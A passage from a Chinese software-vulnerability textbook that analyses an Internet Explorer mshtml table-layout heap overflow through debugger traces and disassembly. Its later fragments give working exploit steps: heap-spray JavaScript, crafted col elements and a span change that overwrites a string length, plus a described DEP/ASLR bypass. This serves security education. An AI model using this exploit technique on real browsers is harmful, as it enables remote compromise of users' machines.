然后等mshtml加载后再下断，可通过sxe ld:mshtml命令让子进程在加载mshtml模块时断下，然后再通 过命令bp mshtml!CTableLayout::CalculateMinMax进行下断。"},
    {"text": "1:013> lmm mshtml start end module name 1:013> sxe ld:mshtml 1:013> g ModLoad: 69a60000 6a012000 C:\\Windows\\System32\\mshtml.dll eax=06489000 ebx=00000000 ecx=01201000 edx=00000000 esi=7ffd9000 edi=045cb0d4 eip=77056506 esp=045cafec ebp=045cb040 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiIntSystemCall+0x6: 77056506 c3 ret 1:020> bp mshtml!CTableLayout::CalculateMinMax breakpoint 1 redefined breakpoint 2 redefined 1:020> bl 1 e 69b7018a 0001 (0001) 1:**** mshtml!CTableLayout::CalculateMinMax 1:020> g Breakpoint 1 hit eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b7018a esp=045cb710 ebp=045cb928 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax: 69b7018a 8bff mov edi,edi 第3章 堆溢出漏洞分析 139 继续单步调试下去： 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b7018c esp=045cb710 ebp=045cb928 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x2: 69b7018c 55 push ebp 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b7018d esp=045cb70c ebp=045cb928 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x3: 69b7018d 8bec mov ebp,esp 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b7018f esp=045cb70c ebp=045cb70c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x5: 69b7018f 81ec90000000 sub esp,90h 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b70195 esp=045cb67c ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0xb: 69b70195 53 push ebx 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b70196 esp=045cb678 ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0xc: 69b70196 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:045cb714=065b9ea8 ; 参数 1 1:020> dd poi(ebp+8) 065b9ea8 69a69868 06595f30 0664ffb8 69c24918 065b9eb8 00000001 00000000 0108080d ffffffff 065b9ec8 00000000 00000000 00000000 ffffffff 065b9ed8 0001223c 00009fc4 00000000 00000000 065b9ee8 00000000 00412802 00000000 00000000 065b9ef8 00000000 00000001 ffffffff ffffffff 065b9f08 ffffffff ffffffff 69a69fd0 00000004 065b9f18 00000004 06675ff0 69a69fd0 00000004 140 漏洞战争：软件漏洞分析精要 1:020> ln 69a69868 (69a69868) mshtml!CTableLayout::`vftable' | (69a699a8) mshtml!CTableLayoutBlock::`vftable' Exact matches: mshtml!CTableLayout::`vftable' = <no type information> 可见参数1引用的是CTableLayout对象，也就是<table>标签在内存中的对象。"},
    {"text": "1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b70199 esp=045cb678 ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0xf: 69b70199 56 push esi 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045cb96c eip=69b7019a esp=045cb674 ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x10: 69b7019a 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:045cb718=045cb9a0 1:020> p eax=ffffffff ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=045cb9a0 edi=045cb96c eip=69b7019d esp=045cb674 ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x13: 69b7019d 8b4628 mov eax,dword ptr [esi+28h] ds:0023:045cb9c8=00000000 1:020> p eax=00000000 ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=045cb9a0 edi=045cb96c eip=69b701a0 esp=045cb674 ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x16: 69b701a0 898574ffffff mov dword ptr [ebp-8Ch],eax ss:0023:045cb680=01201000 1:020> p eax=00000000 ebx=065b9ea8 ecx=00412802 edx=ffffffff esi=045cb9a0 edi=045cb96c eip=69b701a6 esp=045cb674 ebp=045cb70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x1c: 69b701a6 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:065b9efc=00000001 ;这 里 ebx+54h 指向的是 table 标签中 col 元素的 span 属性值，在 PoC 中只有一个 span 值 1，故此处为 1。"},
    {"text": "这里我们改用IDA反汇编mshtml.dll，跟进CtableLayout::CalculateMinMax函数看看： .text:74D3018A ; int __stdcall CTableLayout__CalculateMinMax(int, int, int nDenominator) .text:74D3018A CTableLayout__CalculateMinMax proc near ; CODE XREF: sub_74D1AC8D-ED767p 第3章 堆溢出漏洞分析 141 .text:74D3018A ; sub_74D305B2+15Cp ... .text:74D3018A .text:74D3018A mov edi, edi .text:74D3018C push ebp .text:74D3018D mov ebp, esp .text:74D3018F sub esp, 90h .text:74D30195 push ebx .text:74D30196 mov ebx, [ebp+arg_0] ; 参数 1 引用的是 CTableLayout 对象， 也就是<table>标签在内存中的对象。"},
    {"text": ".text:74D30199 push esi .text:74D3019A mov esi, [ebp+arg_4] .text:74D3019D mov eax, [esi+28h] .text:74D301A0 mov [ebp+var_8C], eax .text:74D301A6 mov eax, [ebx+54h] ; span 属性值的和，我们将其标记为 spannum .text:74D301A9 mov [ebp+arg_0], eax ; arg_0 = spannum ……省略部分内容…… .text:74D30293 loc_74D30293: ; CODE XREF: CTableLayout__CalculateMinMax+105j .text:74D30293 mov edx, [ebp+arg_0] ; edx=arg_0=spannum .text:74D30296 mov eax, edx .text:74D30298 sub eax, ecx .text:74D3029A mov [ebp+var_1C], eax .text:74D3029D push 0 .text:74D3029F pop eax .text:74D302A0 setz al .text:74D302A3 mov [ebx+50h], ecx .text:74D302A6 shl eax, 8 .text:74D302A9 xor eax, [ebx+44h] .text:74D302AC and eax, 100h .text:74D302B1 xor [ebx+44h], eax .text:74D302B4 test byte ptr [esi+2Ch], 1 .text:74D302B8 jnz loc_74C5EE4D .text:74D302BE .text:74D302BE loc_74D302BE: ; CODE XREF: CTableLayout__CalculateMinMax-D133Bj .text:74D302BE xor eax, eax .text:74D302C0 .text:74D302C0 loc_74D302C0: ; CODE XREF: CTableLayout__CalculateMinMax+1957B9j .text:74D302C0 or [ebp+var_38], eax .text:74D302C3 cmp [ebp+nDenominator], edi .text:74D302C6 jnz loc_74EC5948 .text:74D302CC mov eax, [ebx+94h] ; CTableLayout + 0x94，用于与 spannum 142 漏洞战争：软件漏洞分析精要 做比较，此处标记为 spancmp .text:74D302D2 shr eax, 2 ; spancmp << 2 .text:74D302D5 cmp eax, edx ; 若 spancmp >= spannum，则跳转，这里 是 0<1，所以不发生跳转 .text:74D302D7 jge short loc_74D30312 .text:74D302D9 cmp edx, edi .text:74D302DB lea esi, [ebx+90h] ; CImplPtrAry 对象 .text:74D302E1 jl loc_74C2CE82 .text:74D302E7 cmp edx, [esi+8] .text:74D302EA jbe short loc_74D302FF .text:74D302EC push 1Ch ; Size .text:74D302EE mov eax, edx ; spannum .text:74D302F0 mov edi, esi .text:74D302F2 call CImplAry__EnsureSizeWorker 跟进CImplAry__EnsureSizeWorker函数，发现该函数主要用于分配堆内存，分配的内存大小为 spannum*0x1C，虽然此处spannum为1，但其分配的最小值为0x1C*4=0x70，分配的内存地址保存在 CtableLayout + 0x9C： .text:74DF8FB7 ; int __stdcall CImplAry__EnsureSizeWorker(size_t Size) .text:74DF8FB7 CImplAry__EnsureSizeWorker proc near ; CODE XREF: Ptls5::FsGetLineBBox(Ptls5::_line *,Ptls5::tagFSRECT *,Ptls5::tagFSRECT *,int *)+41p .text:74DF8FB7 ; sub_74C7CCD9+3Fp ... .text:74DF8FB7 .text:74DF8FB7 dwBytes = dword ptr -8 .text:74DF8FB7 var_4 = dword ptr -4 .text:74DF8FB7 Size = dword ptr 8 .text:74DF8FB7 .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E3BEEC SIZE 0000003D BYTES .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74EBD6E7 SIZE 0000000D BYTES .text:74DF8FB7 .text:74DF8FB7 mov edi, edi .text:74DF8FB9 push ebp .text:74DF8FBA mov ebp, esp .text:74DF8FBC push ecx .text:74DF8FBD push ecx .text:74DF8FBE push ebx .text:74DF8FBF push esi .text:74DF8FC0 mov esi, eax .text:74DF8FC2 push 4 .text:74DF8FC4 pop eax ; eax=4 .text:74DF8FC5 mov [ebp+var_4], eax 第3章 堆溢出漏洞分析 143 .text:74DF8FC8 cmp esi, eax .text:74DF8FCA jnb _s_propdescCAreaElementport .text:74DF8FD0 .text:74DF8FD0 loc_74DF8FD0: ; CODE XREF: _s_propdescCAreaElementport+3j .text:74DF8FD0 ; _s_propdescCAreaElementport+28j ... .text:74DF8FD0 mov eax, [ebp+var_4] ; eax=4 .text:74DF8FD3 mul [ebp+Size] ; 分配 spannum * 0x1C 大小的内存，至少 是 0x1C*4=0x70 .text:74DF8FD6 push edx .text:74DF8FD7 push eax ; size 参数 .text:74DF8FD8 lea eax, [ebp+dwBytes] .text:74DF8FDB call ULongLongToUInt .text:74DF8FE0 mov ebx, eax .text:74DF8FE2 test ebx, ebx .text:74DF8FE4 jnz short loc_74DF900B .text:74DF8FE6 test byte ptr [edi+4], 2 .text:74DF8FEA jnz loc_74E3BEEC .text:74DF8FF0 push [ebp+dwBytes] ; spannum*0x1c=0x1c .text:74DF8FF3 lea esi, [edi+0Ch] .text:74DF8FF6 call HeapRealloc ;执行完 CimplAry::EnsureSizeWorker 函 数保存返回的内存地址在 CTableLayout + 0x90 + 0xC，即导致漏洞的堆块，标记为 vulheap。"},
    {"text": "分配的缓冲区vulheap地址： 1:022> dd ebx+9c 0646af44 063baf90 00000000 00000000 00000000 0646af54 00000000 00000000 00000000 00000000 0646af64 00000000 000000c8 000000c8 00000000 0646af74 00000000 00000000 00000000 00000000 0646af84 00000000 00000000 00000000 00000000 0646af94 00000000 00000000 00000000 00000000 0646afa4 00000000 00000000 00000000 ffffffff 0646afb4 00000001 00000000 00000000 00000000 1:022> dd 063baf90 063baf90 00000000 00000000 00000000 00000000 063bafa0 c0c0c0c0 c0c0c0c0 00000000 c0c0c0c0 063bafb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 063bafc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 063bafd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 063bafe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 063baff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 063bb000 ???????? ???????? ???????? ???????? 144 漏洞战争：软件漏洞分析精要 1:022> !heap -p -a 063baf90 address 063baf90 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 5953bc8: 63baf90 70 - 63ba000 2000 从上面的代码段可知，这里分配了0x70大小的内存在CtableLayout+0x9C指向的地址。"},
    {"text": "（3）CtableLayout + 0x90：保存导致漏洞的堆块地址vulheap，至少分配0x70大小的内存。 （4）CtableLayout + 0x94：用于与spannum做比较的spancmp，当spancmp << 2后小于spannum才 分配漏洞堆块。"},
    {"text": "当分配完内存之后，执行PoC中的over_trigger函数时，会再一次断在CTableLayout::CalculateMinMax 函数中，再跟进去看下spannum与spancmp的值： 1:022> g Breakpoint 1 hit eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b7018a esp=046ddcc0 ebp=046dded8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax: 69b7018a 8bff mov edi,edi 1:022> p eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b7018c esp=046ddcc0 ebp=046dded8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x2: 69b7018c 55 push ebp 1:022> p eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b7018d esp=046ddcbc ebp=046dded8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x3: 69b7018d 8bec mov ebp,esp 1:022> p eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b7018f esp=046ddcbc ebp=046ddcbc iopl=0 nv up ei pl zr na pe nc 第3章 堆溢出漏洞分析 145 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x5: 69b7018f 81ec90000000 sub esp,90h 1:022> p eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b70195 esp=046ddc2c ebp=046ddcbc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0xb: 69b70195 53 push ebx 1:022> p eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b70196 esp=046ddc28 ebp=046ddcbc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0xc: 69b70196 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:046ddcc4=077c9ea8 1:022> p eax=ffffffff ebx=077c9ea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=046ddf1c eip=69b70199 esp=046ddc28 ebp=046ddcbc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0xf: 69b70199 56 push esi 1:022> dd ebx+54 077c9efc 00000001 ffffffff ffffffff ffffffff 077c9f0c ffffffff 69a69fd0 00000004 00000004 077c9f1c 0666fff0 69a69fd0 00000004 00000004 077c9f2c 077c5ff0 00000000 00000000 69a69fd0 077c9f3c 00000004 00000004 06a27f90 00000000 077c9f4c 00000000 00000000 00000000 00000000 077c9f5c 00000000 00000000 00000000 000000c8 077c9f6c 000000c8 00000000 00000000 00000000 1:022> dd ebx+94 077c9f3c 00000004 00000004 06a27f90 00000000 077c9f4c 00000000 00000000 00000000 00000000 077c9f5c 00000000 00000000 00000000 000000c8 077c9f6c 000000c8 00000000 00000000 00000000 077c9f7c 00000000 00000000 00000000 00000001 077c9f8c 00000000 00000000 00000000 00000000 077c9f9c 00000000 00000000 00000000 00000000 077c9fac 00000000 ffffffff 00000001 00000000 由上可知，spannum仍为1，spancmp仍为4，并无任何变化。"},
    {"text": "1:022> p eax=06abafd0 ebx=0646aea8 ecx=00000031 edx=00000000 esi=063bafac edi=06abafd0 eip=69d05a2e esp=046ddc00 ebp=046ddc9c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x37e: 69d05a2e e8d445dfff call mshtml!CTableCol::GetAAspan (69afa007) ; 获取 span 列数，此处返回 1 1:022> p eax=00000001 ebx=0646aea8 ecx=00000002 edx=06abeff0 esi=063bafac edi=06abafd0 eip=69d05a33 esp=046ddc00 ebp=046ddc9c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x383: 69d05a33 3de8030000 cmp eax,3E8h ; 最多为 1000 1:022> p eax=00000001 ebx=0646aea8 ecx=00000002 edx=06abeff0 esi=063bafac edi=06abafd0 eip=69d05a38 esp=046ddc00 ebp=046ddc9c iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 mshtml!CTableLayout::CalculateMinMax+0x388: 69d05a38 894510 mov dword ptr [ebp+10h],eax ss:0023:046ddcac=00000000 1:022> p eax=00000001 ebx=0646aea8 ecx=00000002 edx=06abeff0 esi=063bafac edi=06abafd0 eip=69d05a3b esp=046ddc00 ebp=046ddc9c iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 mshtml!CTableLayout::CalculateMinMax+0x38b: 69d05a3b 7c07 jl mshtml!CTableLayout::CalculateMinMax+0x394 (69d05a44) [br=1] 我们在mshtml!CTableCol::GetAAspan下断点，让它第二次获取span值时断下： 1:022> g Breakpoint 2 hit eax=07785fd0 ebx=077c9ea8 ecx=00000031 edx=00000000 esi=06a27fac edi=07785fd0 eip=69d05a2e esp=046ddc20 ebp=046ddcbc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x37e: 69d05a2e e8d445dfff call mshtml!CTableCol::GetAAspan (69afa007) 1:022> p Breakpoint 3 hit eax=07785fd0 ebx=077c9ea8 ecx=00000031 edx=00000000 esi=06a27fac edi=07785fd0 eip=69afa007 esp=046ddc1c ebp=046ddcbc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 第3章 堆溢出漏洞分析 147 mshtml!CTableCol::GetAAspan: 69afa007 8bff mov edi,edi 1:022> gu eax=000003e8 ebx=077c9ea8 ecx=00000002 edx=07783ff0 esi=06a27fac edi=07785fd0 eip=69d05a33 esp=046ddc20 ebp=046ddcbc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x383: 69d05a33 3de8030000 cmp eax,3E8h 上面的gu命令是执行完CTableCol::GetAAspan函数返回后断下，获取的返回值保存在eax中，此 时获取的span值为0x3e8，即1000。 继续分析后续代码： .text:74EC5AB0 push 0 .text:74EC5AB2 push esi .text:74EC5AB3 call ?GetPixelWidth@CWidthUnitValue@@QBEHPBVCDocInfo@@PAVCElement@@H@Z ; CWidthUnitValue::GetPixelWidth (CDocInfo const *,CElement *,int) .text:74EC5AB8 cmp dword ptr [ebp-5Ch], 0 .text:74EC5ABC mov [ebp-2Ch], eax ; 计算 width 得到 copydata = width * 100 ……省略部分内容…… .text:74EC5B3E mov eax, [ebp+10h] ; span = 1000 .text:74EC5B41 imul ecx, 1Ch ; 1000 * 0x1C .text:74EC5B44 add [ebp-38h], eax .text:74EC5B47 mov [ebp-20h], ecx .text:74EC5B4A jmp short loc_74EC5B4F ; vulheap 地址 .text:74EC5B4C ; ----------------------------------------------------------------------- .text:74EC5B4C .text:74EC5B4C loc_74EC5B4C: ; CODE XREF: .text:74EC5B9Bj .text:74EC5B4C mov ecx, [ebp-20h] .text:74EC5B4F .text:74EC5B4F loc_74EC5B4F: ; CODE XREF: .text:74EC5B4Aj .text:74EC5B4F mov eax, [ebx+9Ch] ; vulheap 地址 .text:74EC5B55 add eax, ecx ; offset = vulheap + 1000 * 0x1C > 0x70(vulheap 大小)，最后会导致堆溢出！"},
    {"text": ".text:74EC5B57 cmp dword ptr [ebp-1Ch], 0 .text:74EC5B5B mov [ebp-24h], eax ; 作为后面 CTableColCalc::AdjustForCol 函数的参数 .text:74EC5B5E jz short loc_74EC5B7A .text:74EC5B60 mov eax, [ebp+10h] .text:74EC5B63 cmp eax, 1 .text:74EC5B66 jle short loc_74EC5B7A .text:74EC5B68 dec eax 148 漏洞战争：软件漏洞分析精要 .text:74EC5B69 cmp [ebp-14h], eax .text:74EC5B6C jnz short loc_74EC5B7A .text:74EC5B6E imul eax, [ebp-0Ch] .text:74EC5B72 mov ecx, [ebp-2Ch] .text:74EC5B75 sub ecx, eax .text:74EC5B77 mov [ebp-0Ch], ecx .text:74EC5B7A .text:74EC5B7A loc_74EC5B7A: ; CODE XREF: .text:74EC5B5Ej .text:74EC5B7A ; .text:74EC5B66j ... .text:74EC5B7A push dword ptr [ebp-3Ch] .text:74EC5B7D mov eax, [ebp-34h] .text:74EC5B80 push dword ptr [ebp+0Ch] .text:74EC5B83 mov esi, [ebp-24h] ; offset .text:74EC5B86 push dword ptr [ebp-0Ch] ;前面经 width 计算得到的 copydata， 即用于复制到 vulheap 的数据内容 .text:74EC5B89 call CTableColCalc__AdjustForCol 复制的内容相当于width * 100后得到的数值，比如此处为0x41，那么复制的内容即为0x41 * 100 = 0x1004 ， 因 篇 幅 所 限 ， 此 处 不 再 详 细 分 析 里 面 的 算 法 ， 其 实 GetPixelWidth 只 是 对 获 取 的 CFancyFormat 类成员数据 右移4位得到 的数据，有 兴趣的朋友 可详细分析 。"},
    {"text": "在CTableColCalc__ AdjustForCol函数中会以1000*0x1c为计数器循环递增偏移向vulheap堆块中写入数据，最终造成堆溢 出。 以下是用IDA F5插件反编译CTableColCalc__AdjustForCol函数得到的部分代码： int __userpurge CTableColCalc::AdjustForCol<eax>(int a1<eax>, int a2<esi>, int a3, int a4, int a5) { int v5; // ST04_4@1 int result; // eax@2 v5 = *(_DWORD *)a1 & 0xF; *(_DWORD *)( a2 + 0x18) = *(_DWORD *)a1; // a1 为复制的内容，a2 即 vulheap 经过循环递增 偏移后得到的值，最大偏移量为 1000*0x1c，显然已经超出 vulheap 的大小范围 …… } 总结 （1） 当页面加载时，CTableLayout::CalculateMinMax 被首次调用，<col>的 span 属性值被初始化为 1， 此时 spansum=1，spancmp=0。"},
    {"text": "（2 由于（SpanSum2 << 2）< SpanSum，因此会调用 CImplAry::EnsureSizeWorker 函数分配大小为 0x1C * SpanSum 的内存，但至少分配 0x1C * 4 = 0x70 大小的内存块。"},
    {"text": "（4） 调用 over_trigger，CTableLayout::CalculateMinMax 第二次被调用，但 spansum 和 spancmp 未变， 而 span 被更改为 1000，在复制内容为 width*100 的数据到分配缓冲区时，会以 span 作为循环计 数器写 vulheap 堆块，但是 1000 * 0x1C > 0x70，最终导致堆溢出。"},
    {"text": "为了绕过DEP与ASLR的保护， VUPEN通过溢出漏洞覆盖BSTR字符串的长度值，然后通过JavaScript读取CButtonLayout虚表指针， 通过固定偏移量找到mshtml.dll基址，用它来构造ROP指令，以此绕过DEP与ASLR，详细分析请参见 后面内容。"},
    {"text": "下面的代码就是用于构 造堆布局的： <div id=\"test\"></div> <script language='javascript'> var leak_index = -1; var dap = \"EEEE\"; while ( dap.length < 480 ) dap += dap; var padding = \"AAAA\"; while ( padding.length < 480 ) padding += padding; var filler = \"BBBB\"; while ( filler.length < 480 ) filler += filler; //spray var arr = new Array(); var rra = new Array(); var div_container = document.getElementById(\"test\"); div_container.style.cssText = \"display:none\"; 150 漏洞战争：软件漏洞分析精要 for (var i=0; i < 500; i+=2) { // E，分配 0x100-6 是因为 2 字节为 NULL 终止符，4 字符为长度值 rra[i] = dap.substring(0, (0x100-6)/2); // S, bstr = A arr[i] = padding.substring(0, (0x100-6)/2); // A, bstr = B arr[i+1] = filler.substring(0, (0x100-6)/2); // B var obj = document.createElement(\"button\"); div_container.appendChild(obj); } // 通过垃圾回收从中间开始释放“EEEE……”，以便后续分配漏洞堆块 vulheap 时能够占用到 for (var i=200; i<500; i+=2 ) { rra[i] = null; CollectGarbage(); } </script> 上 面 的 JavaScript 代 码 首 先 创 建 0x100 大 小 的 字 符 串 “ EEEE … … ” ， 接 着 是 同 等 大 小 的 “AAAA……”和“BBBB……”，最后又创建一个Button元素，即CbuttonLayout对象结构。"},
    {"text": "上面的 字符串在IE浏览器中都是一段BSTR字符串，即“Basic String”的简称，它是包含长度前缀和NULL 终止符的Unicode字符串，所以字符数是字节数的一半，这也是前面代码分配字串时除以2的原因。"},
    {"text": "图3-31 构造的堆布局图 第3章 堆溢出漏洞分析 151 释放的位置就是为了在分配vulheap时能够占用到这些释放位置中的一个，当溢出时就可以覆盖 到后面的“AAAA……”和“BBBB……”了。"},
    {"text": "接下来，创建一连串的col元素（共132个）以占用前 面释放的“EEEE……”位置： <table style=\"table-layout:fixed\" ><col id=\"0\" width=\"41\" span=\"9\" >&nbsp </col></table> <table style=\"table-layout:fixed\" ><col id=\"1\" width=\"41\" span=\"9\" >&nbsp </col></table> …… <table style=\"table-layout:fixed\" ><col id=\"132\" width=\"41\" span=\"9\" >&nbsp </col></table> 为了确定所分配的vulheap是否占用到已释放的“EEEE……”位置，我们先在释放内存的函数 CollectGarbage 上下断，它对应的是jscript.dll中的JsCollectGarbage。"},
    {"text": "JavaScript的这些函数大多在 jscript.dll 都 能 找 到 对 应 的 API 名 称 ， 可 以 通 过 IDA 查 看 jscript.dll 中 的 导 出 函 数 来 查 找 ， 比 如 GoolectGarbage对应的就是jscript!JsCollectGarbage，substring对应的就是jscript!JsStrSubString，如 图3-32所示。"},
    {"text": "因为刚开始IE还没有加载 jscript.dll，所以可以先设置加载jscript.dll时断下： sxe ld:jscript 断下后再对JsCollectGarbage函数下断： bp jscript!JsCollectGarbage 因为释放堆块最后都会调用到底层函数ntdll!RtlFreeHeap，所以它的第3个参数即为被释放的堆 152 漏洞战争：软件漏洞分析精要 地址，我们可以对其下断，然后记录并输出每个释放的堆块地址。 下断前可以先把JsCollectGarbage 断点禁掉，避免程序多次被中断： 0:005> bl 0 e 6ae78555 0001 (0001) 0:**** jscript!JsCollectGarbage 0:005> bd 0 0:005> bu ntdll!RtlFreeHeap “.echo free heap;db poi( esp+c) l10;g” 通过前面的漏洞分析，我们可以知道分配vulheap堆块的行为是CTableLayout::CalculateMinMa中 调 用 CImplAry::EnsureSizeWorker 函 数 分 配 的 ， 并 且 分 配 的 地 址 保 存 在 [ebx+9c] 中 ， 调 用 完 CImplAry::EnsureSizeWorker函数的下一条指令位于mshtml!CTableLayout::CalculateMinMax+0x16d， 可以如此下断得到vulheap地址： 0:005> bu mshtml!CTableLayout::CalculateMinMax+0x16d \".echo vulheap;dd poi(ebx+9c) l4;g\" 由于日志输出信息比较多，因此可以将日志保存在文档中： 0:005>.logopen z:\\log.txt Opened log file 'z:\\log.txt' 记录完毕可使用.logclose来关闭： 0:012> .logclose Closing open log file z:\\log.txt' 运行后输出日志的关键部分如下： free heap 0310d520 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. free heap 0310d940 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. free heap 0310dd60 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. free heap 0310e180 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. free heap 0310e5a0 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. free heap 0310e9c0 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. free heap 0310ede0 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E .…… vulheap 0310e180 000005ae 00450045 00450045 00450045 第3章 堆溢出漏洞分析 153 注意：由于 log 输出的 vulheap 地址较多，我们可以在下列代码用于溢出前加 alert（“溢出前”） 的语句。"},
    {"text": "接着，通过以下代码实现第一次溢出： var obj_col = document.getElementById(\"132\"); obj_col.span = 19; 通过前面的漏洞分析可以知道复制的数据大小为 span * 1C =19 * 0x1C = 0x214，根据图3-31可 以判断出溢出数据会覆盖到“BBBB……”的开头，再去掉vulheap和“AAAA……”两堆块包含的0x10 字节头信息，最后会覆盖到“BBBB……”的前面0x214-0x200-0x10 = 4 字节，如图3-33所示。"},
